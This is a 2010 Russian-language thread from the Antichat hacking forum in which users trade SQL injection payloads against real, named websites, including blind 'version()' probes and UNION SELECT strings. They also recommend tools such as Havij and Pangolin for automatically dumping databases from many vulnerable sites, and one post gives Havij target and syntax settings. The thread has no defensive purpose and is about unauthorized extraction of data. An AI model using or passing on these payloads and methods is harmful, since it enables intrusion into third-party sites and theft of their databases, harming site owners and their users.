HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 02.11.2010, 14:32
ZARO
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами: 8982831

Репутация: 37
По умолчанию

Цитата:
Сообщение от -PRIVAT-  
Нету ничего.
Это blind скуля..

http://www.cps.am/en/strategy-and-politics/9+and+mid(version(),1,1)=5
 
Ответить с цитированием

  #2  
Старый 02.11.2010, 15:07
DCrypt
Новичок
Регистрация: 21.01.2010
Сообщений: 0
С нами: 8580980

Репутация: 0
По умолчанию

Имеем вот такую штуку например. Куда крутить?

Цитата:
Сообщение от None  
http://shekinahministry.org/contentMain2.php?category_id=2&articleID=22-999.9+union+select+1,2,3,4--
 
Ответить с цитированием

  #3  
Старый 02.11.2010, 15:10
PvgValo
Участник форума
Регистрация: 01.08.2009
Сообщений: 169
С нами: 8830021

Репутация: 113
По умолчанию

Цитата:
Сообщение от DCrypt  
Имеем вот такую штуку например. Куда крутить?
Крути сюда

Цитата:
Сообщение от None  
http://shekinahministry.org/contentMain2.php?category_id=2&articleID=22-999.9+union+select+version%28%29,2,3,4--
 
Ответить с цитированием

  #4  
Старый 02.11.2010, 15:11
kfor
Участник форума
Регистрация: 01.09.2005
Сообщений: 194
С нами: 10889431

Репутация: 34
По умолчанию

Цитата:
Сообщение от DCrypt  
Имеем вот такую штуку например. Куда крутить?
А в чём вопрос то? Вывод есть ... бери статью по sql inj и крути...
 
Ответить с цитированием

  #5  
Старый 02.11.2010, 15:12
DCrypt
Новичок
Регистрация: 21.01.2010
Сообщений: 0
С нами: 8580980

Репутация: 0
По умолчанию

А есть тулза какая нить автоматизации процесса? Базы выдирать нужно. А такого вида телег полно.
 
Ответить с цитированием

  #6  
Старый 02.11.2010, 15:17
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
С нами: 8638130

Репутация: 54
По умолчанию

sipt; pangolin;
 
Ответить с цитированием

  #7  
Старый 02.11.2010, 15:29
DCrypt
Новичок
Регистрация: 21.01.2010
Сообщений: 0
С нами: 8580980

Репутация: 0
По умолчанию

Цитата:
Сообщение от pinch  
sipt; pangolin;
Я юзаю Havij 1.12 Pro.

Вот например вставляю:

Цитата:
Сообщение от None  
http://www.corpwatch.org/article.php?id=14997-999.9+union+select+1,2,3,4--
Цитата:
Сообщение от None  
Cannot find column count!
Target Not Vulnerable
It seems that input parameter is not effective! Check the following:
Are you sure input parameter really exist?!
Are you sure the input value '14997' is valid?
Are you sure the 'GET' method is correct?
Настройки:

 
Ответить с цитированием

  #8  
Старый 02.11.2010, 16:37
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
С нами: 8638130

Репутация: 54
По умолчанию

Цитата:
Сообщение от None  
http://www.corpwatch.org/article.php?id=14997-999.9+union+select+1,2,3,4--
c чего ты взял что здесь инъекция...
 
Ответить с цитированием

  #9  
Старый 02.11.2010, 16:43
brutos
Новичок
Регистрация: 25.11.2009
Сообщений: 0
С нами: 8663103

Репутация: 0
По умолчанию

SQL Checker'ом прогнал и доволен) Он много мусора выдает. Надо все ручками проверять.

А в Havij'е эти вещи делаются так:

Target: http://www.corpwatch.org/article.php?id=14997

Syntax: 14997-999.9+union+select+1,%String_Col%,3,4--

%String_Col% - поле вывода.

Ну и Data Base иногда желательно самому выбрать, а то Havij тупить начинает.
 
Ответить с цитированием

  #10  
Старый 02.11.2010, 16:50
DCrypt
Новичок
Регистрация: 21.01.2010
Сообщений: 0
С нами: 8580980

Репутация: 0
По умолчанию

Цитата:
Сообщение от pinch  
c чего ты взял что здесь инъекция...
Значит Sql CheckeR от ac1D говно а автор софта кидала.

==========

Вообщем я в тупике что с этим говном и лже скулями делать.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.